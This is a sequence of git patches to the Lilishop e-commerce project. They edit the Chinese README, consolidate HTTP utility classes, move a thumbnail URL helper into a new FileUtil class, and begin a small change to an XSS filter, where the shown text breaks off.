From c09b6061fc2bd96e010e436165bfbf4f232e2721 Mon Sep 17 00:00:00 2001 From: chopper711 <1814994716@qq.com> Date: Fri, 19 Nov 2021 04:03:23 +0000 Subject: [PATCH 001/145] update README.md. --- README.md | 61 +++++++++---------------------------------------------- 1 file changed, 10 insertions(+), 51 deletions(-) diff --git a/README.md b/README.md index 6094762c..c3f0e5bb 100644 --- a/README.md +++ b/README.md @@ -25,11 +25,7 @@ Lilishop商城系统支持商家入驻,后端基于SpringBoot 研发,前端使用 Vue、uniapp开发, **系统全端全部代码开源** -商城前后端分离,支持分布式部署,各个API独立,并且有独立的消费者。 - -商城包含 会员模块、**第三方登录模块**、**第三方支付模块**、**楼层装修模块**、订单模块、商品模块、促销模块、分销模块、文章模块、系统设置模块、流量分析模块和平台运营模块 - -商城包含各种中间件、搜索引擎、多级缓存、分布式事务、分布式任务调度等,支持Docker,支持k8s。是一款高性能、支持分布式、支持扩展的商城系统。 +商城前后端分离,支持分布式部署,支持Docker,支持k8s,各个API独立,并且有独立的消费者。 ### 商城 API/消费者 聚合版 api不需要单独部署,只需启动一个jar包就可以正常运转 如有需要,可以点击跳转 @@ -41,27 +37,27 @@ https://docs.pickmall.cn ### 💧 开源商城项目地址(gitee) -**API(商城所有API)**:https://gitee.com/beijing_hongye_huicheng/lilishop.git +**API**:https://gitee.com/beijing_hongye_huicheng/lilishop.git **UI(平台管理端/商家端/买家PC端)**: https://gitee.com/beijing_hongye_huicheng/lilishop-ui.git **uniapp(商城移动端,支持小程序/APP/H5)**:https://gitee.com/beijing_hongye_huicheng/lilishop-uniapp.git -**docker一键部署(商城部署脚本)**:https://gitee.com/beijing_hongye_huicheng/docker.git +**docker脚本**:https://gitee.com/beijing_hongye_huicheng/docker.git ### 💧 开源商城项目地址(github) -**API(商城所有API)**:https://github.com/hongyehuicheng/lilishop.git +**API**:https://github.com/hongyehuicheng/lilishop.git **UI(平台管理端/商家端/买家PC端)**: https://github.com/hongyehuicheng/lilishop-ui.git **uniapp(商城移动端,支持小程序/APP/H5)**:https://github.com/hongyehuicheng/lilishop-uniapp.git -**docker一键部署(商城部署脚本)**:https://github.com/hongyehuicheng/docker.git +**docker脚本**:https://github.com/hongyehuicheng/docker.git -☃️ UI 项目下3个文件夹 buyer:买家PC端,seller:商家端,manager:后台管理端 +☃️ 商城UI 项目下3个文件夹 buyer:买家PC端,seller:商家端,manager:后台管理端 ### 💧 演示地址(手机验证码为 ‘111111’) @@ -72,52 +68,18 @@ https://docs.pickmall.cn **商城PC页面**:https://pc-b2b2c.pickmall.cn -**商城移动端(请使浏览器手机模式,或者用手机浏览器打开)**:https://m-b2b2c.pickmall.cn - -**商城 小程序/公众号/APP(支持ios、android)**:扫描二维码 +**商城 小程序/公众号/APP**:扫描二维码 ![image-20210511171611793](https://pickmall.cn/assets/imgs/h5-qrcode.png) -### 🚙 3行命令搭建本地商城(注:只能本机访问,前端镜像固定访问 127.0.0.1,如果是非本机体验,请自行下载源码操作镜像) +### 🚙 快速体验商城 +![点击跳转](https://docs.pickmall.cn/deploy/%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87.html) -温馨提示:由于服务中间件较多,如果笔记本环境启动内存没有32g可能无法启动成功(macbookpro 2020 16g内存启动无法成功),台式机在16g内存、AMD 3700x 的ubuntu系统成功运行。 - -##### docker环境安装 [点击跳转](https://docs.pickmall.cn/deploy/%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87.html) - -##### 下载docker-compose脚本 -`git clone https://gitee.com/beijing_hongye_huicheng/docker.git ` - -##### 部署商城所需中间件 -`docker-compose up -d` - -##### 部署商城应用 -`docker-compose -f docker-compose-application.yml up -d` - -PS:商城数据库非docker部署 +**商城数据库** https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql 这里有与tag版本一致的sql,根据tag获取sql,如果使用master代码 -##### 商城 API/UI 地址 - -| API | 地址 | -| -------------- | --------------- | -| 买家API | http://127.0.0.1:8888 | -| 商家API | http://127.0.0.1:8889 | -| 管理端API | http://127.0.0.1:8887 | -| 通用API | http://127.0.0.1:8890 | - -| 前端演示 | 地址 | -| -------------- | --------------- | -| 商城PC端 | http://127.0.0.1:10000 | -| 商城H5端 | http://127.0.0.1:10001 | -| 卖家端 | http://127.0.0.1:10002 | -| 平台管理端 | http://127.0.0.1:10003 | - -其他小程序/app等需自行打包。 - - - ### ⚾️ 功能列表 @@ -133,9 +95,6 @@ https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql ![商家端功能](https://pickmall.cn/assets/imgs/other/storeList.jpg) - - - ### 🧩 商城前端功能展示 #### ⚽️ 商城移动端 From 2f492926722065aa927bc995f80c0e41668bba90 Mon Sep 17 00:00:00 2001 From: chopper711 <1814994716@qq.com> Date: Fri, 19 Nov 2021 04:05:17 +0000 Subject: [PATCH 002/145] update README.md. --- README.md | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/README.md b/README.md index c3f0e5bb..f332a555 100644 --- a/README.md +++ b/README.md @@ -72,8 +72,8 @@ https://docs.pickmall.cn ![image-20210511171611793](https://pickmall.cn/assets/imgs/h5-qrcode.png) -### 🚙 快速体验商城 -![点击跳转](https://docs.pickmall.cn/deploy/%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87.html) +### 🚙 快速部署本地商城 +https://docs.pickmall.cn/deploy/%E8%BF%90%E8%A1%8C%E7%8E%AF%E5%A2%83%E5%87%86%E5%A4%87.html **商城数据库** https://gitee.com/beijing_hongye_huicheng/docker/tree/master/init/mysql From 56d486e010d4c4e1d64dcbc9d84637e1d22940f7 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 22 Nov 2021 10:53:27 +0800 Subject: [PATCH 003/145] =?UTF-8?q?=E5=B0=86http=E5=B7=A5=E5=85=B7?= =?UTF-8?q?=E7=B1=BB=E6=95=B4=E5=90=88=E5=9C=A8=E4=B8=80=E8=B5=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../java/cn/lili/common/utils/HttpUtils.java | 270 +++++++++++++++++- .../serviceimpl/ConnectServiceImpl.java | 2 +- .../goods/util/WechatLivePlayerUtil.java | 2 +- .../WechatMPMessageServiceImpl.java | 2 +- .../serviceimpl/WechatMessageServiceImpl.java | 2 +- .../message/util/WechatMessageUtil.java | 2 +- .../lili/modules/system/utils/HttpUtils.java | 243 ---------------- 7 files changed, 270 insertions(+), 253 deletions(-) delete mode 100644 framework/src/main/java/cn/lili/modules/system/utils/HttpUtils.java diff --git a/framework/src/main/java/cn/lili/common/utils/HttpUtils.java b/framework/src/main/java/cn/lili/common/utils/HttpUtils.java index 4f8e7a3e..706e805c 100644 --- a/framework/src/main/java/cn/lili/common/utils/HttpUtils.java +++ b/framework/src/main/java/cn/lili/common/utils/HttpUtils.java @@ -1,19 +1,25 @@ package cn.lili.common.utils; +import com.alibaba.fastjson.JSONObject; import com.xkcoding.http.HttpUtil; import com.xkcoding.http.config.HttpConfig; import com.xkcoding.http.support.HttpHeader; import com.xkcoding.http.support.httpclient.HttpClientImpl; +import lombok.extern.slf4j.Slf4j; +import java.io.*; +import java.net.HttpURLConnection; +import java.net.URL; +import java.net.URLEncoder; +import java.nio.charset.StandardCharsets; +import java.util.Iterator; import java.util.Map; /** - * HttpUtil 工具,统一处理 http 请求,方便对 simple-http 做定制 - * - * @author yadong.zhang (yadong.zhang0415(a)gmail.com) - * @version 4.1 - * @since 1.0.0 + * HTTP 工具类 + * @author liushuai */ +@Slf4j public class HttpUtils { public HttpUtils(HttpConfig config) { @@ -105,4 +111,258 @@ public class HttpUtils { public String post(String url, Map params, HttpHeader header, boolean encode) { return HttpUtil.post(url, params, header, encode); } + + + /** + * 静态方法运行参数 + */ + public static final int HTTP_CONN_TIMEOUT = 100000; + public static final int HTTP_SOCKET_TIMEOUT = 100000; + + /** + * POST 静态方法请求 + * + * @param reqUrl + * @param parameters + * @param encoding + * @param connectTimeout + * @param readTimeout + * @return + */ + public static String doPost(String reqUrl, Map parameters, String encoding, int connectTimeout, + int readTimeout) { + HttpURLConnection urlConn = null; + try { + urlConn = sendPost(reqUrl, parameters, encoding, connectTimeout, readTimeout); + String responseContent = getContent(urlConn, encoding); + return responseContent.trim(); + } finally { + if (urlConn != null) { + urlConn.disconnect(); + + } + } + } + + /** + * post携带json请求 静态方法 + * + * @param reqUrl 请求地址 + * @param jsonParameters 参数 + * @return + */ + public static String doPostWithJson(String reqUrl, Map jsonParameters) { + + BufferedReader reader = null; + try { + //创建连接 + URL url = new URL(reqUrl); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + connection.setDoOutput(true); + connection.setDoInput(true); + connection.setUseCaches(false); + connection.setInstanceFollowRedirects(true); + //设置请求方式 + connection.setRequestMethod("POST"); + //设置发送数据的格式 + connection.setRequestProperty("Content-Type", "application/json"); + connection.connect(); + //一定要用BufferedReader 来接收响应, 使用字节来接收响应的方法是接收不到内容的 + //utf-8编码 + OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), StandardCharsets.UTF_8); + out.append(JSONObject.toJSONString(jsonParameters)); + out.flush(); + out.close(); + //读取响应 + reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8)); + String line; + String res = ""; + while ((line = reader.readLine()) != null) { + res += line; + } + reader.close(); + + return res; + } catch (IOException e) { + log.error("post请求错误", e); + } + //自定义错误信息 + return "error"; + + } + + /** + * post携带json请求 静态方法 + * + * @param reqUrl 请求地址 + * @param object 对象 + * @return + */ + public static String doPostWithJson(String reqUrl, Object object) { + + BufferedReader reader = null; + try { + //创建连接 + URL url = new URL(reqUrl); + HttpURLConnection connection = (HttpURLConnection) url.openConnection(); + connection.setDoOutput(true); + connection.setDoInput(true); + connection.setUseCaches(false); + connection.setInstanceFollowRedirects(true); + //设置请求方式 + connection.setRequestMethod("POST"); + //设置发送数据的格式 + connection.setRequestProperty("Content-Type", "application/json"); + connection.connect(); + //一定要用BufferedReader 来接收响应, 使用字节来接收响应的方法是接收不到内容的 + //utf-8编码 + OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), StandardCharsets.UTF_8); + out.append(JSONObject.toJSONString(object)); + out.flush(); + out.close(); + //读取响应 + reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8)); + String line; + String res = ""; + while ((line = reader.readLine()) != null) { + res += line; + } + reader.close(); + + return res; + } catch (IOException e) { + log.error("post错误", e); + } + //自定义错误信息 + return "error"; + + } + + /** + * 发送post请求 + * + * @param reqUrl + * @param parameters + * @param encoding + * @param connectTimeout + * @param readTimeout + * @return + */ + private static HttpURLConnection sendPost(String reqUrl, + Map parameters, String encoding, int connectTimeout, int readTimeout) { + HttpURLConnection urlConn = null; + try { + String params = generatorParamString(parameters, encoding); + URL url = new URL(reqUrl); + urlConn = (HttpURLConnection) url.openConnection(); + urlConn.setRequestMethod("POST"); + //(单位:毫秒)jdk + urlConn.setConnectTimeout(connectTimeout); + //(单位:毫秒)jdk 1.5换成这个,读操作超时 + urlConn.setReadTimeout(readTimeout); + urlConn.setDoOutput(true); + //String按照字节处理是一个好方法 + byte[] b = params.getBytes(encoding); + urlConn.getOutputStream().write(b, 0, b.length); + urlConn.getOutputStream().flush(); + urlConn.getOutputStream().close(); + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + return urlConn; + } + + /** + * get 请求 静态方法 + * + * @param urlConn + * @param encoding + * @return + */ + private static String getContent(HttpURLConnection urlConn, String encoding) { + try { + String responseContent = null; + InputStream in = urlConn.getInputStream(); + BufferedReader rd = new BufferedReader(new InputStreamReader(in, encoding)); + String tempLine = rd.readLine(); + StringBuffer tempStr = new StringBuffer(); + String crlf = System.getProperty("line.separator"); + while (tempLine != null) { + tempStr.append(tempLine); + tempStr.append(crlf); + tempLine = rd.readLine(); + } + responseContent = tempStr.toString(); + rd.close(); + in.close(); + return responseContent; + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } + } + + /** + * get 请求 静态方法 + * + * @param link + * @param encoding + * @return + */ + public static String doGet(String link, String encoding, int connectTimeout, int readTimeout) { + HttpURLConnection conn = null; + try { + URL url = new URL(link); + conn = (HttpURLConnection) url.openConnection(); + conn.setRequestMethod("GET"); + conn.setConnectTimeout(connectTimeout); + conn.setReadTimeout(readTimeout); + BufferedInputStream in = new BufferedInputStream( + conn.getInputStream()); + ByteArrayOutputStream out = new ByteArrayOutputStream(); + byte[] buf = new byte[1024]; + for (int i = 0; (i = in.read(buf)) > 0; ) { + out.write(buf, 0, i); + } + out.flush(); + String s = out.toString(encoding); + return s; + } catch (Exception e) { + throw new RuntimeException(e.getMessage(), e); + } finally { + if (conn != null) { + conn.disconnect(); + conn = null; + } + } + } + + /** + * 将parameters中数据转换成用"&"链接的http请求参数形式 + * + * @param parameters + * @return + */ + private static String generatorParamString(Map parameters, String encoding) { + StringBuffer params = new StringBuffer(); + if (parameters != null) { + for (Iterator iter = parameters.keySet().iterator(); iter + .hasNext(); ) { + String name = iter.next(); + String value = parameters.get(name); + params.append(name + "="); + try { + params.append(URLEncoder.encode(value, encoding)); + } catch (UnsupportedEncodingException e) { + throw new RuntimeException(e.getMessage(), e); + } catch (Exception e) { + String message = String.format("'%s'='%s'", name, value); + throw new RuntimeException(message, e); + } + if (iter.hasNext()) { + params.append("&"); + } + } + } + return params.toString(); + } } diff --git a/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java b/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java index 68ca20b6..d5e03307 100644 --- a/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/connect/serviceimpl/ConnectServiceImpl.java @@ -12,6 +12,7 @@ import cn.lili.common.security.AuthUser; import cn.lili.common.security.context.UserContext; import cn.lili.common.security.token.Token; import cn.lili.common.utils.CookieUtil; +import cn.lili.common.utils.HttpUtils; import cn.lili.common.utils.StringUtils; import cn.lili.modules.connect.entity.Connect; import cn.lili.modules.connect.entity.dto.ConnectAuthUser; @@ -27,7 +28,6 @@ import cn.lili.modules.system.entity.dto.connect.WechatConnectSetting; import cn.lili.modules.system.entity.dto.connect.dto.WechatConnectSettingItem; import cn.lili.modules.system.entity.enums.SettingEnum; import cn.lili.modules.system.service.SettingService; -import cn.lili.modules.system.utils.HttpUtils; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import lombok.extern.slf4j.Slf4j; diff --git a/framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java b/framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java index 03064332..caaeb79f 100644 --- a/framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java +++ b/framework/src/main/java/cn/lili/modules/goods/util/WechatLivePlayerUtil.java @@ -3,11 +3,11 @@ package cn.lili.modules.goods.util; import cn.hutool.json.JSONObject; import cn.lili.common.enums.ClientTypeEnum; import cn.lili.common.exception.ServiceException; +import cn.lili.common.utils.HttpUtils; import cn.lili.modules.goods.entity.dos.Commodity; import cn.lili.modules.goods.entity.dos.Studio; import cn.lili.modules.goods.entity.dto.GoodsInfo; import cn.lili.modules.message.util.WechatAccessTokenUtil; -import cn.lili.modules.system.utils.HttpUtils; import lombok.extern.slf4j.Slf4j; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMPMessageServiceImpl.java b/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMPMessageServiceImpl.java index a10a752a..ea351055 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMPMessageServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMPMessageServiceImpl.java @@ -7,6 +7,7 @@ import cn.hutool.json.JSONUtil; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.enums.ClientTypeEnum; +import cn.lili.common.utils.HttpUtils; import cn.lili.modules.message.entity.dos.WechatMPMessage; import cn.lili.modules.message.entity.enums.WechatMessageItemEnums; import cn.lili.modules.message.mapper.WechatMPMessageMapper; @@ -14,7 +15,6 @@ import cn.lili.modules.message.service.WechatMPMessageService; import cn.lili.modules.message.util.WechatAccessTokenUtil; import cn.lili.modules.message.util.WechatMessageUtil; import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; -import cn.lili.modules.system.utils.HttpUtils; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import lombok.AllArgsConstructor; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMessageServiceImpl.java b/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMessageServiceImpl.java index b2d78cb1..f64ce75a 100644 --- a/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMessageServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/message/serviceimpl/WechatMessageServiceImpl.java @@ -6,6 +6,7 @@ import cn.hutool.json.JSONUtil; import cn.lili.common.enums.ResultCode; import cn.lili.common.exception.ServiceException; import cn.lili.common.enums.ClientTypeEnum; +import cn.lili.common.utils.HttpUtils; import cn.lili.modules.message.entity.dos.WechatMessage; import cn.lili.modules.message.entity.enums.WechatMessageItemEnums; import cn.lili.modules.message.mapper.WechatMessageMapper; @@ -13,7 +14,6 @@ import cn.lili.modules.message.service.WechatMessageService; import cn.lili.modules.message.util.WechatAccessTokenUtil; import cn.lili.modules.message.util.WechatMessageUtil; import cn.lili.modules.order.order.entity.enums.OrderStatusEnum; -import cn.lili.modules.system.utils.HttpUtils; import com.baomidou.mybatisplus.extension.service.impl.ServiceImpl; import lombok.AllArgsConstructor; import lombok.Data; diff --git a/framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java b/framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java index 2259b314..553ef7ba 100644 --- a/framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java +++ b/framework/src/main/java/cn/lili/modules/message/util/WechatMessageUtil.java @@ -20,7 +20,7 @@ import cn.lili.modules.order.order.entity.dos.Order; import cn.lili.modules.order.order.entity.dos.OrderItem; import cn.lili.modules.order.order.service.OrderItemService; import cn.lili.modules.order.order.service.OrderService; -import cn.lili.modules.system.utils.HttpUtils; +import cn.lili.common.utils.HttpUtils; import com.baomidou.mybatisplus.core.conditions.query.LambdaQueryWrapper; import com.baomidou.mybatisplus.core.conditions.query.QueryWrapper; import lombok.extern.slf4j.Slf4j; diff --git a/framework/src/main/java/cn/lili/modules/system/utils/HttpUtils.java b/framework/src/main/java/cn/lili/modules/system/utils/HttpUtils.java deleted file mode 100644 index 8f01aaf8..00000000 --- a/framework/src/main/java/cn/lili/modules/system/utils/HttpUtils.java +++ /dev/null @@ -1,243 +0,0 @@ -package cn.lili.modules.system.utils; - -import com.alibaba.fastjson.JSONObject; -import lombok.extern.slf4j.Slf4j; - -import java.io.*; -import java.net.HttpURLConnection; -import java.net.URL; -import java.net.URLEncoder; -import java.nio.charset.StandardCharsets; -import java.util.Iterator; -import java.util.Map; - -/** - * Http工具 - * - * @author pikachu - * @since 2018/3/13 - */ -@Slf4j -public final class HttpUtils { - - public static final int HTTP_CONN_TIMEOUT = 100000; - public static final int HTTP_SOCKET_TIMEOUT = 100000; - - public static String doPost(String reqUrl, Map parameters, String encoding, int connectTimeout, - int readTimeout) { - HttpURLConnection urlConn = null; - try { - urlConn = sendPost(reqUrl, parameters, encoding, connectTimeout, readTimeout); - String responseContent = getContent(urlConn, encoding); - return responseContent.trim(); - } finally { - if (urlConn != null) { - urlConn.disconnect(); - - } - } - } - - /** - * post携带json请求 - * - * @param reqUrl 请求地址 - * @param jsonParameters 参数 - * @return - */ - public static String doPostWithJson(String reqUrl, Map jsonParameters) { - - BufferedReader reader = null; - try { - //创建连接 - URL url = new URL(reqUrl); - HttpURLConnection connection = (HttpURLConnection) url.openConnection(); - connection.setDoOutput(true); - connection.setDoInput(true); - connection.setUseCaches(false); - connection.setInstanceFollowRedirects(true); - //设置请求方式 - connection.setRequestMethod("POST"); - //设置发送数据的格式 - connection.setRequestProperty("Content-Type", "application/json"); - connection.connect(); - //一定要用BufferedReader 来接收响应, 使用字节来接收响应的方法是接收不到内容的 - //utf-8编码 - OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), StandardCharsets.UTF_8); - out.append(JSONObject.toJSONString(jsonParameters)); - out.flush(); - out.close(); - //读取响应 - reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8)); - String line; - String res = ""; - while ((line = reader.readLine()) != null) { - res += line; - } - reader.close(); - - return res; - } catch (IOException e) { - log.error("post请求错误", e); - } - //自定义错误信息 - return "error"; - - } - - /** - * post携带json请求 - * - * @param reqUrl 请求地址 - * @param object 对象 - * @return - */ - public static String doPostWithJson(String reqUrl, Object object) { - - BufferedReader reader = null; - try { - //创建连接 - URL url = new URL(reqUrl); - HttpURLConnection connection = (HttpURLConnection) url.openConnection(); - connection.setDoOutput(true); - connection.setDoInput(true); - connection.setUseCaches(false); - connection.setInstanceFollowRedirects(true); - //设置请求方式 - connection.setRequestMethod("POST"); - //设置发送数据的格式 - connection.setRequestProperty("Content-Type", "application/json"); - connection.connect(); - //一定要用BufferedReader 来接收响应, 使用字节来接收响应的方法是接收不到内容的 - //utf-8编码 - OutputStreamWriter out = new OutputStreamWriter(connection.getOutputStream(), StandardCharsets.UTF_8); - out.append(JSONObject.toJSONString(object)); - out.flush(); - out.close(); - //读取响应 - reader = new BufferedReader(new InputStreamReader(connection.getInputStream(), StandardCharsets.UTF_8)); - String line; - String res = ""; - while ((line = reader.readLine()) != null) { - res += line; - } - reader.close(); - - return res; - } catch (IOException e) { - log.error("post错误", e); - } - //自定义错误信息 - return "error"; - - } - - private static HttpURLConnection sendPost(String reqUrl, - Map parameters, String encoding, int connectTimeout, int readTimeout) { - HttpURLConnection urlConn = null; - try { - String params = generatorParamString(parameters, encoding); - URL url = new URL(reqUrl); - urlConn = (HttpURLConnection) url.openConnection(); - urlConn.setRequestMethod("POST"); - //(单位:毫秒)jdk - urlConn.setConnectTimeout(connectTimeout); - //(单位:毫秒)jdk 1.5换成这个,读操作超时 - urlConn.setReadTimeout(readTimeout); - urlConn.setDoOutput(true); - //String按照字节处理是一个好方法 - byte[] b = params.getBytes(encoding); - urlConn.getOutputStream().write(b, 0, b.length); - urlConn.getOutputStream().flush(); - urlConn.getOutputStream().close(); - } catch (Exception e) { - throw new RuntimeException(e.getMessage(), e); - } - return urlConn; - } - - private static String getContent(HttpURLConnection urlConn, String encoding) { - try { - String responseContent = null; - InputStream in = urlConn.getInputStream(); - BufferedReader rd = new BufferedReader(new InputStreamReader(in, encoding)); - String tempLine = rd.readLine(); - StringBuffer tempStr = new StringBuffer(); - String crlf = System.getProperty("line.separator"); - while (tempLine != null) { - tempStr.append(tempLine); - tempStr.append(crlf); - tempLine = rd.readLine(); - } - responseContent = tempStr.toString(); - rd.close(); - in.close(); - return responseContent; - } catch (Exception e) { - throw new RuntimeException(e.getMessage(), e); - } - } - - /** - * @param link - * @param encoding - * @return - */ - public static String doGet(String link, String encoding, int connectTimeout, int readTimeout) { - HttpURLConnection conn = null; - try { - URL url = new URL(link); - conn = (HttpURLConnection) url.openConnection(); - conn.setRequestMethod("GET"); - conn.setConnectTimeout(connectTimeout); - conn.setReadTimeout(readTimeout); - BufferedInputStream in = new BufferedInputStream( - conn.getInputStream()); - ByteArrayOutputStream out = new ByteArrayOutputStream(); - byte[] buf = new byte[1024]; - for (int i = 0; (i = in.read(buf)) > 0; ) { - out.write(buf, 0, i); - } - out.flush(); - String s = out.toString(encoding); - return s; - } catch (Exception e) { - throw new RuntimeException(e.getMessage(), e); - } finally { - if (conn != null) { - conn.disconnect(); - conn = null; - } - } - } - - /** - * 将parameters中数据转换成用"&"链接的http请求参数形式 - * - * @param parameters - * @return - */ - private static String generatorParamString(Map parameters, String encoding) { - StringBuffer params = new StringBuffer(); - if (parameters != null) { - for (Iterator iter = parameters.keySet().iterator(); iter - .hasNext(); ) { - String name = iter.next(); - String value = parameters.get(name); - params.append(name + "="); - try { - params.append(URLEncoder.encode(value, encoding)); - } catch (UnsupportedEncodingException e) { - throw new RuntimeException(e.getMessage(), e); - } catch (Exception e) { - String message = String.format("'%s'='%s'", name, value); - throw new RuntimeException(message, e); - } - if (iter.hasNext()) { - params.append("&"); - } - } - } - return params.toString(); - } -} \ No newline at end of file From c32999aa032f80205840772d4d25b98e0d2dc341 Mon Sep 17 00:00:00 2001 From: Chopper Date: Mon, 22 Nov 2021 14:55:16 +0800 Subject: [PATCH 004/145] =?UTF-8?q?=E7=BC=A9=E7=95=A5=E5=9B=BE=E7=9B=B8?= =?UTF-8?q?=E5=85=B3=E6=96=B9=E6=B3=95=E8=B0=83=E6=95=B4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../file/plugin/FileManagerPlugin.java | 9 ------- .../plugin/impl/AliFileManagerPlugin.java | 7 ------ .../cn/lili/modules/file/util/FileUtil.java | 24 +++++++++++++++++++ .../serviceimpl/GoodsGalleryServiceImpl.java | 11 +++------ 4 files changed, 27 insertions(+), 24 deletions(-) create mode 100644 framework/src/main/java/cn/lili/modules/file/util/FileUtil.java diff --git a/framework/src/main/java/cn/lili/modules/file/plugin/FileManagerPlugin.java b/framework/src/main/java/cn/lili/modules/file/plugin/FileManagerPlugin.java index 7aacc714..bd279d05 100644 --- a/framework/src/main/java/cn/lili/modules/file/plugin/FileManagerPlugin.java +++ b/framework/src/main/java/cn/lili/modules/file/plugin/FileManagerPlugin.java @@ -37,13 +37,4 @@ public interface FileManagerPlugin { */ void deleteFile(List key); - /** - * 根据原图生成规定尺寸的图片 - * - * @param url 连接 - * @param width 宽 - * @param height 高 - * @return - */ - String getUrl(String url, Integer width, Integer height); } diff --git a/framework/src/main/java/cn/lili/modules/file/plugin/impl/AliFileManagerPlugin.java b/framework/src/main/java/cn/lili/modules/file/plugin/impl/AliFileManagerPlugin.java index e28bfc88..4ddbf899 100644 --- a/framework/src/main/java/cn/lili/modules/file/plugin/impl/AliFileManagerPlugin.java +++ b/framework/src/main/java/cn/lili/modules/file/plugin/impl/AliFileManagerPlugin.java @@ -183,11 +183,4 @@ public class AliFileManagerPlugin implements FileManagerPlugin { ossClient.shutdown(); } } - - @Override - public String getUrl(String url, Integer width, Integer height) { - //缩略图全路径 - //返回缩略图全路径 - return url + "?x-oss-process=style/" + width + "X" + height; - } } diff --git a/framework/src/main/java/cn/lili/modules/file/util/FileUtil.java b/framework/src/main/java/cn/lili/modules/file/util/FileUtil.java new file mode 100644 index 00000000..46cbf51f --- /dev/null +++ b/framework/src/main/java/cn/lili/modules/file/util/FileUtil.java @@ -0,0 +1,24 @@ +package cn.lili.modules.file.util; + +/** + * FileUtil + * + * @author Chopper + * @version v1.0 + * 2021-11-22 11:19 + */ +public class FileUtil { + + /** + * 根据原图生成规定尺寸的图片 + * + * @param url 连接 + * @param width 宽 + * @param height 高 + * @return + */ + public static String getUrl(String url, Integer width, Integer height) { + //缩略图全路径 + return url + "?x-oss-process=style/" + width + "X" + height; + } +} diff --git a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsGalleryServiceImpl.java b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsGalleryServiceImpl.java index 5537adf6..e1727397 100644 --- a/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsGalleryServiceImpl.java +++ b/framework/src/main/java/cn/lili/modules/goods/serviceimpl/GoodsGalleryServiceImpl.java @@ -1,7 +1,7 @@ package cn.lili.modules.goods.serviceimpl; import cn.hutool.json.JSONUtil; -import cn.lili.modules.file.plugin.FileManagerPlugin; +import cn.lili.modules.file.util.FileUtil; import cn.lili.modules.goods.entity.dos.GoodsGallery; import cn.lili.modules.goods.mapper.GoodsGalleryMapper; import cn.lili.modules.goods.service.GoodsGalleryService; @@ -29,11 +29,6 @@ import java.util.List; @Service @Transactional(rollbackFor = Exception.class) public class GoodsGalleryServiceImpl extends ServiceImpl implements GoodsGalleryService { - /** - * 文件 - */ - @Autowired - private FileManagerPlugin fileManagerPlugin; /** * 设置 */ @@ -65,9 +60,9 @@ public class GoodsGalleryServiceImpl extends ServiceImpl Date: Mon, 22 Nov 2021 16:45:54 +0800 Subject: [PATCH 005/145] =?UTF-8?q?=E4=BF=AE=E5=A4=8D=E6=94=AF=E4=BB=98?= =?UTF-8?q?=E5=AE=9D=E9=85=8D=E7=BD=AE=E7=A7=81=E9=92=A5=E5=90=8E=E6=97=A0?= =?UTF-8?q?=E6=B3=95=E6=94=AF=E4=BB=98=E9=97=AE=E9=A2=98?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- .../common/security/filter/XssHttpServletRequestWrapper.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java index d7061cf2..c5a34eb1 100644 --- a/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java +++ b/framework/src/main/java/cn/lili/common/security/filter/XssHttpServletRequestWrapper.java @@ -35,7 +35,7 @@ public class XssHttpServletRequestWrapper extends HttpServletRequestWrapper { * * 